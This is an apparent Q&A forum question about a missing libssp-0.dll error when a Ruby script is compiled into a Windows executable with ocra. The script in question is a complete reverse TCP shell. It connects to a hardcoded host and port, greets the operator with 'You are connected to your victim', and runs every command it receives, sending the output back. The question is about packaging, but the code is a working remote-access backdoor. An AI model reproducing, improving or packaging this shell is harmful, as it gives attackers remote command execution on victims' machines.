title: Ruby compile with ocra error - libssp-0.dll not found
body: <p>I'm trying to compile a simple reverse TCP shell written in ruby with ocra.</p>
  <p>The code is pretty simple:</p>
  <pre><code>#!/usr/bin/env ruby
  
  require 'socket'
  require 'open3'
  
  #Remote Host IP
  RHOST = &quot;192.168.197.23&quot;
  #Remote Host Port
  PORT = &quot;6969&quot;
  
  #Tries to connect every 5 seconds
  begin
      sock = TCPSocket.new &quot;#{RHOST}&quot;,&quot;#{PORT}&quot;
      sock.puts &quot;You are connected to your victim&quot; 
  rescue
      puts &quot;Retrying...&quot;
      sleep 5
      retry
  end
  
  #Runs the commands you type and sends you back the stdout and stderr.
  begin
      while line = sock.gets &amp;&amp; line
          Open3.popen2e(&quot;#{line}&quot;) do | stdin, stdout_and_stderr | 
              IO.copy_stream(stdout_and_stderr, sock)
          end
      end
  rescue
      retry
  end
  </code></pre>
  <p>I build it with: <code>ocra RevShell.rb --verbose</code></p>
  <p>I get no error messages but whenever I try to run the .exe I get the following error: &quot;C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found&quot;</p>
  <p>Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.</p>
  <p>Thanks for your help.</p>